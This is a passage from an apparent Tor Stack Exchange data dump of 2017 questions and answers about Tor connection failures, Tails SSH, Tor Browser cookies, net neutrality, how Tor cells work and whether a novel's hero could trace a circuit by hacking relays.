Title="After update of tor, unable to start tor" Tags="|tor-browser-bundle|debian|update|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15234" PostTypeId="1" CreationDate="2017-07-07T19:31:40.297" Score="1" ViewCount="167" Body="&lt;pre&gt;&lt;code&gt;7/7/2017 15:33:39 PM.000 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;7/7/2017 15:33:39 PM.000 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;7/7/2017 15:33:39 PM.000 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;7/7/2017 15:33:39 PM.000 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;7/7/2017 15:33:39 PM.300 [NOTICE] Bootstrapped 80%: Connecting to the Tor network &#xA;7/7/2017 15:33:39 PM.300 [WARN] Failed to find node for hop 0 of our path. Discarding this circuit. &#xA;7/7/2017 15:33:39 PM.400 [NOTICE] Bootstrapped 85%: Finishing handshake with first hop &#xA;7/7/2017 15:33:40 PM.300 [WARN] Failed to find node for hop 0 of our path. Discarding this circuit. &#xA;7/7/2017 15:33:41 PM.300 [WARN] Failed to find node for hop 0 of our path. Discarding this circuit. &#xA;7/7/2017 15:33:42 PM.300 [WARN] Failed to find node for hop 0 of our path. Discarding this circuit. &#xA;7/7/2017 15:33:43 PM.300 [WARN] Failed to find node for hop 0 of our path. Discarding this circuit. &#xA;7/7/2017 15:33:44 PM.300 [WARN] Failed to find node for hop 0 of our path. Discarding this circuit. &#xA;7/7/2017 15:33:45 PM.300 [WARN] Failed to find node for hop 0 of our path. Discarding this circuit. &#xA;7/7/2017 15:33:46 PM.300 [WARN] Failed to find node for hop 0 of our path. Discarding this circuit. &#xA;7/7/2017 15:33:47 PM.300 [WARN] Failed to find node for hop 0 of our path. Discarding this circuit. &#xA;7/7/2017 15:33:47 PM.800 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;7/7/2017 15:33:47 PM.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;7/7/2017 15:33:47 PM.800 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;7/7/2017 15:33:48 PM.300 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18254" LastEditorUserId="7273" LastEditDate="2017-07-09T03:18:29.507" LastActivityDate="2017-07-09T03:18:29.507" Title="I'm trying to directly connect to the Tor Network but when i click connect it just loads forever and doesn't connect" Tags="|connection|" AnswerCount="0" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15235" PostTypeId="2" ParentId="15188" CreationDate="2017-07-07T21:50:01.397" Score="1" Body="&lt;p&gt;Create a account on &lt;a href=&quot;https://trac.torproject.org/projects/tor/register&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://trac.torproject.org/projects/tor/register&lt;/a&gt; and create a new ticket so that the TBB developers can fix the issue.&lt;/p&gt;&#xA;" OwnerUserId="17977" LastActivityDate="2017-07-07T21:50:01.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15243" PostTypeId="1" CreationDate="2017-07-10T06:53:57.910" Score="1" ViewCount="158" Body="&lt;p&gt;I want to learn Kali, but wanna do this anonymously ? &#xA;I want to register on vulnhub and learn Kali solving the CTF, but in same time I want to remain anonymous to vulnhub, in Kali and while downloading from vulnhub. &#xA;How I can do this ? &#xA;I was thinking about Whonix-Gateway + Whonix-Workstation.&#xA;Register a vulnhub account using Whonix-Workstation. Then install VirtualBox in Whonix-Workstation and install there Kali and the downloaded CTF from vulnhub ?&#xA;It's that possible ?&lt;/p&gt;&#xA;" OwnerUserId="18281" LastActivityDate="2017-07-10T06:53:57.910" Title="How to learn Kali anonymously?" Tags="|anonymity|security|whonix|" AnswerCount="0" CommentCount="0" FavoriteCount="0" ClosedDate="2017-07-13T19:46:30.657" ContentLicense="CC BY-SA 3.0" />
  <row Id="15244" PostTypeId="1" CreationDate="2017-07-10T18:57:32.100" Score="1" ViewCount="205" Body="&lt;p&gt;Tor failed to establish a Tor network connection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Establishing an encrypted directory connection failed And adress and port changes all the time&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried All the bridges, obs4, obs3, meek, fte and even tried to use this custom ones&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read about http or mmi attacks (i cant say them properly) and stuff but their solutions dont work either.&#xA;I checked firewall and time and&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am very inexperienced and all i do is read if you read this please explain it to me in simple terms. Please Respond I love Tor and i cant bear to not use it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank You Very Much :)&lt;/p&gt;&#xA;" OwnerUserId="18284" LastActivityDate="2017-07-10T18:57:32.100" Title="Failed to establish a Tor connection. Establishing an encrypted directory connection failed. None of the answers work read below for more please" Tags="|bridge|connection|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15245" PostTypeId="1" CreationDate="2017-07-11T01:57:37.630" Score="0" ViewCount="85" Body="&lt;p&gt;There used to be an onion icon near the address bar that I could click and change the address but it has gone away. Is there still a way to change the ip address that a site sees when I get banned?&lt;/p&gt;&#xA;" OwnerUserId="18287" LastEditorUserId="88" LastEditDate="2017-08-09T12:22:24.820" LastActivityDate="2017-08-09T23:14:43.947" Title="Running TBB 7.0.2. How can I change the IP when a site bans me?" Tags="|tor-browser-bundle|ip-address|" AnswerCount="2" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15251" PostTypeId="1" AcceptedAnswerId="15260" CreationDate="2017-07-13T05:00:15.707" Score="2" ViewCount="1244" Body="&lt;p&gt;If the &quot;net neutrality&quot; thing is stopped, will it affect Tor users?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What about Onion services?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not qualified to add more details on &quot;net neutrality&quot; so feel free to add to this post&lt;/p&gt;&#xA;" OwnerUserId="18305" LastActivityDate="2017-07-14T20:02:49.783" Title="Net Neutrality Implications" Tags="|traffic-analysis|" AnswerCount="1" CommentCount="0" ClosedDate="2017-07-27T13:22:15.193" ContentLicense="CC BY-SA 3.0" />
  <row Id="15252" PostTypeId="1" CreationDate="2017-07-13T07:06:45.913" Score="1" ViewCount="417" Body="&lt;p&gt;Is is technically possible to run a server, that is accessible only through Tor via SSH, and be able to hide its physical location from an adversary who happens to gain a root access?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my world-view a common technique to discover a physical location of a computer is by looking at its &quot;public&quot; IP and query a geolocation database. A computer is unable to determine its &quot;public&quot; address unless he asks another computer on the Internet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So is it safe to assume that by placing the server between a physical Tor gateway (i.e. OpenWrt router) and a router I could protect it from being discovered since all traffic would go through the gateway?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I am talking about a Tor gateway I mean existing solutions such as anonabox.&lt;/p&gt;&#xA;" OwnerUserId="18306" LastEditorUserId="88" LastEditDate="2017-08-09T12:21:41.787" LastActivityDate="2017-08-09T12:21:41.787" Title="A server behind a physical Tor gateway to hide its location" Tags="|onion-services|security|deanonymization|" AnswerCount="1" CommentCount="3" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15257" PostTypeId="2" ParentId="15252" CreationDate="2017-07-13T19:29:58.343" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://www.whonix.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Whonix&lt;/a&gt; is what you want.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The Workstation VM can &quot;see&quot; only IP addresses on the Internal LAN,&#xA;  which are the same in every Whonix installation. User applications&#xA;  therefore have no knowledge of the user's &quot;real&quot; IP address, nor do&#xA;  they have access to any information about the physical hardware. In&#xA;  order to obtain such information, an application would have to find a&#xA;  way &quot;break out&quot; of VirtualBox, or to subvert the Gateway (perhaps&#xA;  through a bug in Tor or the Gateway's Linux kernel).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Whonix&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.wikipedia.org/wiki/Whonix&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2017-07-13T19:29:58.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15258" PostTypeId="2" ParentId="1116" CreationDate="2017-07-13T19:43:14.543" Score="0" Body="&lt;p&gt;If you log in with your account, and have logged into that same account some other time from your regular connection - then you are not anonymous.&#xA;If you have provided a email you also have logged into with your regular connection - then you are not anonymous, things like this can be traced.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I think it's important to mention that Facebook has a .onion domain - &lt;a href=&quot;https://facebookcorewwwi.onion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://facebookcorewwwi.onion/&lt;/a&gt; , using that with the torbrowser will make sure facebook do not get what IP you are connecting from, since it's a hidden service.&#xA;This is a legitimate service they provide.&#xA;They will know it your account that's in use, but not where you connect from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a post on &lt;a href=&quot;https://blog.torproject.org/blog/facebook-hidden-services-and-https-certs&quot; rel=&quot;nofollow noreferrer&quot;&gt;torproject's blog&lt;/a&gt; with more information.&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2017-07-13T19:43:14.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15259" PostTypeId="1" AcceptedAnswerId="15265" CreationDate="2017-07-14T15:45:59.743" Score="2" ViewCount="4126" Body="&lt;p&gt;Both SSH server and Tails client are running on the same wired network. There is no problem SSH from other machines on the same network to the SSH server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Got the following ERROR:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;connection failed, SOCKS error 1&#xA;ssh_exchange_identification: Connection closed by remote host&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Tried most of the online solutions, but still doesn't work.&lt;/p&gt;&#xA;" OwnerUserId="1696" LastActivityDate="2017-07-15T19:07:17.337" Title="Cannot SSH from Tails" Tags="|tails|ssh|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15260" PostTypeId="2" ParentId="15251" CreationDate="2017-07-14T20:02:49.783" Score="6" Body="&lt;p&gt;&lt;strong&gt;What Net Neutrality and Title II Is&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, it's very important to note that the current Net Neutrality debate (Title II and the FCC) only affects the United States of America. While it could have an effect on American Tor nodes, the Tor network as a whole would be more-or-less just the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Net Neutrality means that all Internet traffic should be treated the same. Title II allows the American FCC to enforce these rules on American ISPs. Without Title II, Net Neutrality would still be enforced by the American FTC or Congress. However, these protections will be weaker and slower to action.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How This Affects Tor users and Onion services&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without Title II enforcement of Net Neutrality, American ISPs will be able to legally throttle or block access to any content they wish. There are 3 main ways this could effect Tor users in America:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;ISPs do nothing, Tor works as usual.&lt;/li&gt;&#xA;&lt;li&gt;ISPs throttle Tor, making it slower than it already is.&lt;/li&gt;&#xA;&lt;li&gt;ISPs completely block Tor. You could still use bridges to connect.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Worst-Case Scenario&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The worst-case scenario is that ISPs block &lt;em&gt;everything&lt;/em&gt; except the websites and services on their whitelist. In this case, blocking all Tor bridges would be possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without Net Neutrality, it's up to your ISP to decide to allow or block Tor.&lt;/p&gt;&#xA;" OwnerUserId="12240" LastActivityDate="2017-07-14T20:02:49.783" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15262" PostTypeId="1" AcceptedAnswerId="15263" CreationDate="2017-07-15T00:02:20.757" Score="1" ViewCount="131" Body="&lt;p&gt;I’m an aspiring writer, working on a spy-thriller novel with Tor as part of the plot. Is it hypothetically possible to hack an individual Onion Router to discover the location of the previous router?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the novel, the bad guy will communicate using Tor. The good guy will then discover the bad guy's identity by backtracking through the bad guy’s Tor circuit, hacking each router, one-by-one, until he reaches the bad guy’s computer. It is essentially a ‘treasure hunt’ with Onion Routers as clues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moreover, I want the protagonist to physically travel to each router to hack it. That way I can fit in cool locations. For instance, the exit router could be in the mansion of a Russian mobster. So the protagonist travels to Moscow and breaks into the mansion and hacks the router. The exit router then tells him where to find the middle router: an opera house in Vienna. So he goes to Vienna and tries to break into the opera house. Etc., etc., until he reaches the bad guy’s computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To sum up, then, is it possible (even hypothetically) to hack each router individually, after the data has been sent? Please help! I realize that this is an atypical request, but I would be grateful for any advice!&lt;/p&gt;&#xA;" OwnerUserId="18324" LastEditorUserId="18324" LastEditDate="2017-07-15T00:10:47.843" LastActivityDate="2017-07-15T05:14:01.703" Title="Data saved in Onion Routers" Tags="|security|relays|help|circuit|routers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15263" PostTypeId="2" ParentId="15262" CreationDate="2017-07-15T05:14:01.703" Score="1" Body="&lt;p&gt;No, unless 1) you could tap all Internet traffic between those relays (then what is the reason for hacking physically?) or 2) the bad guy is ignorant enough, livestreaming through Tor (using the same connection!) for a couple of days.&lt;br&gt;&#xA;A normal OP (Onion Proxy) changes its circuits &lt;strong&gt;every 10 minutes&lt;/strong&gt;, which is far less than enough for the good guy to travel physically from one router to another. Most relays do not store any log containing sensitive information (&lt;code&gt;SafeLogging&lt;/code&gt; is on by default).&lt;br&gt;&#xA;So why not push the bad guy into Freenet? Long lived friend-to-friend connections suit the scenario better.&lt;/p&gt;&#xA;" OwnerUserId="4894" LastActivityDate="2017-07-15T05:14:01.703" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15264" PostTypeId="1" CreationDate="2017-07-15T16:33:37.580" Score="1" ViewCount="1009" Body="&lt;p&gt;Is it dangerous to use Tor in Windows if:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I have all the latest updates that protect from Etherblue exploit.&lt;/li&gt;&#xA;&lt;li&gt;my PC is not infected with any viruses.&lt;/li&gt;&#xA;&lt;li&gt;I does not have any anti-viruses that log my activity.&lt;/li&gt;&#xA;&lt;li&gt;all telemetry turned off.&lt;/li&gt;&#xA;&lt;li&gt;have hostfile lines like 127.0.0.1 so that Windows cannot send logs to Microsoft.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What more can I do to run Tor in Microsoft Windows and be sure that I'm safe?&lt;/p&gt;&#xA;" OwnerUserId="18333" LastEditorUserId="17825" LastEditDate="2017-07-31T21:56:02.990" LastActivityDate="2017-07-31T21:56:02.990" Title="Is Windows safe for using Tor?" Tags="|anonymity|windows|" AnswerCount="1" CommentCount="2" ClosedDate="2017-08-09T13:34:21.817" ContentLicense="CC BY-SA 3.0" />
  <row Id="15265" PostTypeId="2" ParentId="15259" CreationDate="2017-07-15T19:07:17.337" Score="2" Body="&lt;p&gt;The issue is that Tails' ssh config will try to use Tor to connect to any internet routable address, with exceptions set for private IP ranges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you're referencing the public address, ssh is trying to use Tor to connect but since the destination only accepts connections from other devices on the same network, it cannot establish a Tor connection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tails' iptables configuration would also mean that even if ssh wasn't trying to proxy the connection over Tor, a connection to an internet address that wasn't made through Tor would be dropped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could setup an onion to provide ssh access over Tor (even a single-hop-onion to improve latency, since the server doesn't need location anonymity) which would allow you to ssh to it from Tails, otherwise you'd need to be able to route to it from a private IP range, specifically one of: &lt;code&gt;10.0.0.0/8&lt;/code&gt;, &lt;code&gt;172.16.0.0/12&lt;/code&gt; or &lt;code&gt;192.168.0.0/16&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-07-15T19:07:17.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15266" PostTypeId="1" AcceptedAnswerId="15268" CreationDate="2017-07-15T19:58:07.757" Score="0" ViewCount="138" Body="&lt;p&gt;Is it possible to identify the middle router by extracting data from the RAM of the exit router?&lt;/p&gt;&#xA;" OwnerUserId="18324" LastEditorUserId="88" LastEditDate="2017-08-13T19:43:49.070" LastActivityDate="2017-08-13T19:43:49.070" Title="Hacking Tor through RAM" Tags="|security|circuit|deanonymization|routers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15268" PostTypeId="2" ParentId="15266" CreationDate="2017-07-15T23:12:27.493" Score="0" Body="&lt;p&gt;Yes, this would be possible but only for currently open circuits.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-07-15T23:12:27.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15271" PostTypeId="1" CreationDate="2017-07-16T17:09:32.510" Score="1" ViewCount="127" Body="&lt;p&gt;I have been running a middle relay on a Linode VPS for many months now (&lt;a href=&quot;https://atlas.torproject.org/#details/D44960365A3FC307EB6EF1A1E1A28985FD8484F7&quot; rel=&quot;nofollow noreferrer&quot;&gt;atlas report&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My only bandwidth-relevant torrc setting is &lt;code&gt;AccountingMax&lt;/code&gt;, set to 2 TB. The available bandwidth advertised by the provider is 1000 Mbps. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In practice, I don’t even reach 100 GB of traffic per month. Is this normal? Did I configure the node properly?&lt;/p&gt;&#xA;" OwnerUserId="9426" LastActivityDate="2017-07-16T17:09:32.510" Title="Why is my middle relay not picking up much traffic?" Tags="|bandwidth|middle|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15272" PostTypeId="1" CreationDate="2017-07-16T22:35:56.153" Score="2" ViewCount="273" Body="&lt;p&gt;So in firefox privacy mode afaik once you close a private window all cookies and other information related to the sites in that window are deleted independently of any data on the regular firefox window(s) you may have still open. The Tor browser has no private windows but does it discard cookies and other data from a window once it closes? or it only does so if you close the Tor browser altogether and/or ctrl+shit+U for new identity (which also reloads the program)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What if you ctrl+shit+L for a new circuit? does the data from that specific site/tab get discarded or not?&lt;/p&gt;&#xA;" OwnerUserId="18354" LastActivityDate="2017-07-25T21:51:23.330" Title="Does Tor bundle discards cookies from a window or only from a session?" Tags="|fingerprinting|cookies|metadata|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15273" PostTypeId="1" CreationDate="2017-07-17T00:20:19.540" Score="1" ViewCount="142" Body="&lt;p&gt;Question: What are plausible circumstances in which one could hack an individual Onion Router to discover the location of the previous router?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reason: I’m an aspiring writer, working on a spy-thriller novel. My plan is that the good guy will find the bad guy by backtracking through the bad guy’s Tor circuit, hacking each router, one-by-one, until he reaches the bad guy’s computer. It is essentially a treasure hunt with Onion Routers as clues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moreover, I want the protagonist to physically travel to each router to hack it. That way I can fit in cool locations. For instance, the exit router could be in the mansion of a Russian mobster. So the protagonist travels to Moscow, breaks into the mansion and hacks the exit router. That router then reveals the location of the middle router: an opera house in Vienna. So the protagonist goes to Vienna, breaks into the opera house and hacks the middle router. Etc., etc., until he reaches the bad guy’s computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To sum up, then, what are circumstances in which one could hack each router individually to find the original sender? Circumstances can be exceptional, but must be believable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some (bad) ideas of mine:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The bad guy live streams a ticking time bomb, keeping the circuit open.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The bad guy has preselected the routers and left clues to where they are.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The NSA has a device that keeps the circuit open for 24 hours. Something like a cold boot attack, but with circuits instead of RAM. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Please help! I realize this is an atypical request, but I would be grateful for any advice! &lt;/p&gt;&#xA;" OwnerUserId="18324" LastActivityDate="2017-07-19T14:35:00.693" Title="Hacking Tor in my spy/thriller novel" Tags="|security|circuit|routers|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15275" PostTypeId="2" ParentId="15272" CreationDate="2017-07-17T14:55:33.413" Score="1" Body="&lt;p&gt;They're discarded on a per-session basis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the 'New Tor Circuit for this Site' will only cause Tor Browser to use a new circuit for the site, it will not clear any other information. That is what the 'New Identity' option is for, see the &lt;a href=&quot;https://www.torproject.org/projects/torbrowser/design/#new-identity&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Browser Design and Implementation&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;N.B.&lt;/strong&gt; On Firefox's &lt;em&gt;Private Browsing&lt;/em&gt; windows, cookies and other tracking data is absolutely not removed when a &lt;em&gt;tab&lt;/em&gt; is closed. It is unset when the &lt;em&gt;window&lt;/em&gt; is closed. This is trivially testable by visiting a site that sets and displays a cookie, closing the &lt;em&gt;tab&lt;/em&gt; (but keeping the &lt;em&gt;window&lt;/em&gt; open) and opening a new &lt;em&gt;tab&lt;/em&gt; on the &lt;em&gt;Private Browsing&lt;/em&gt; &lt;em&gt;window&lt;/em&gt; and then checking to see if the cookie is still present.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When tested, it can be seen to be still set. The same is true of Chrom{e,ium}s &lt;em&gt;Inconito Window&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2017-07-25T21:51:23.330" LastActivityDate="2017-07-25T21:51:23.330" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15276" PostTypeId="1" CreationDate="2017-07-17T15:57:40.650" Score="1" ViewCount="121" Body="&lt;p&gt;Am I still anonymous if I enter my bank card # and password when I log onto internet banking?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I bank with the Royal Bank in Canada. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="18364" LastActivityDate="2018-02-05T20:01:02.440" Title="Online / internet banking" Tags="|anonymity|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15278" PostTypeId="1" CreationDate="2017-07-17T19:26:04.280" Score="3" ViewCount="131" Body="&lt;p&gt;If I am running a Middle Tor Node, is it possible to get malware from malware going through the node?&lt;/p&gt;&#xA;" OwnerUserId="18367" LastActivityDate="2017-07-17T23:31:13.037" Title="If I am running a Middle Tor Node, can I get malware from it?" Tags="|malware|node|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15280" PostTypeId="2" ParentId="15278" CreationDate="2017-07-17T23:31:13.037" Score="3" Body="&lt;p&gt;That's a pretty broad question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's possible that there could be a bug in Tor or one of the libraries which it uses that would allow someone to attack Tor relays and run malware on them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under normal relay circumstances the harm done would be limited in impact due to restrictions on the Tor process. Running under a MAC like AppArmor as a low privileged user. In the absence of another exploit, against the kernel or another privileged service on the host, it would struggle to do more than simply corrupt the Tor process until it was restarted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Such attacks are possible, which is why the Tor process &lt;em&gt;should&lt;/em&gt; be restricted to the least privilege possible and confined to reduce the impact of such an attack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I am aware hasn't been publicly documented as happening &quot;in the wild&quot;.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-07-17T23:31:13.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15282" PostTypeId="2" ParentId="427" CreationDate="2017-07-18T02:43:08.903" Score="-1" Body="&lt;p&gt;BUT what if you run TOR within a VM and then run Tor through the host, and force the VM traffic through the host's tor circuit as well? It would seem in that case each instance of Tor is independent of each other and is rather a situation where Tor doesn't know what Tor is doing, hence allowing each instance to select its own distinct set of nodes. In that case, any correlation would have to be based upon knowledge of the VM, which an adversary isn't likely to have, unless of course, they've already gained access to your system, in which case TOR isn't going to help you at all anyways. &lt;/p&gt;&#xA;" OwnerUserId="18375" LastActivityDate="2017-07-18T02:43:08.903" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15285" PostTypeId="1" CreationDate="2017-07-18T05:55:22.403" Score="1" ViewCount="247" Body="&lt;p&gt;Is it dangerous to download Whonix. Could a global adversary or your ISP start monitoring you after they see you downloaded Whonix ?&lt;/p&gt;&#xA;" OwnerUserId="18379" LastActivityDate="2017-07-19T08:59:55.170" Title="Is it dangerous to download Whonix?" Tags="|tor-browser-bundle|whonix|global-adversary|" AnswerCount="0" CommentCount="1" ClosedDate="2017-07-27T01:25:58.917" ContentLicense="CC BY-SA 3.0" />
  <row Id="15295" PostTypeId="1" CreationDate="2017-07-19T16:39:54.547" Score="1" ViewCount="1426" Body="&lt;p&gt;I'm using Tor for some time now.  It seems that &quot;New Tor circuit for this site&quot; has stopped to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use Tor to access &lt;code&gt;libgen.io&lt;/code&gt;.  When Netherland is the last (before internet) node, no matter how many time I click &quot;New Tor circuit for this site&quot;, the nodes do not change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have I missed something?&lt;/p&gt;&#xA;" OwnerUserId="18396" LastActivityDate="2017-09-21T01:39:28.847" Title="&quot;New Tor circuit for this site&quot; does not work?" Tags="|circuit|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15296" PostTypeId="1" CreationDate="2017-07-20T03:45:50.837" Score="0" ViewCount="471" Body="&lt;p&gt;I understand that Tor cells are 512 bytes each, and that they are encrypted by TLS, and that they pass through a TCP connection from the client through Tor to the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But how do packets work one level above that? Let's say Tor Browser (Firefox) makes an HTTP GET request to &lt;em&gt;stackexchange.com&lt;/em&gt;. How does it go from this HTTP request to individual Tor cells?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the request simply broken down into these cells or does something more complex occur?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moreover, who initiates the multiple TCP connections through the Tor network?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks guys,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Steve&lt;/p&gt;&#xA;" OwnerUserId="18401" LastActivityDate="2022-03-27T16:01:10.077" Title="How does Tor turn HTTP requests into 512 byte Tor cells?" Tags="|connection|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15301" PostTypeId="2" ParentId="15296" CreationDate="2017-07-20T23:22:30.373" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I understand that Tor cells are 512 bytes each, and that they are encrypted by TLS, and that they pass through a TCP connection from the client through Tor to the server.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That's not quite accurate, Tor cells travel over a TLS tunnel created between client and the entry guard or bridge and between relays through TLS tunnels built between them but the cell content is also encrypted using AES.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://tor.stackexchange.com/questions/12100/understanding-the-tor-circuit/12101#12101&quot;&gt;this answer&lt;/a&gt; for more details.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is the request simply broken down into these cells or does something more complex occur?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No that's pretty much the gist of it, there is overhead on the cells (information about the cell itself so that it can be properly routed) so it's not a full 512 bytes of data in each cell (and not all cells carry user data, there are various types of cells used for various activities).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor &lt;em&gt;only cares&lt;/em&gt; about the stream data, so the data that you feed into Tor is split up into cells and sent across the network and the same stream data is sent on to your destination at the other side and inversely, data from the destination is sent back and comes back out at the other side.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-07-20T23:22:30.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
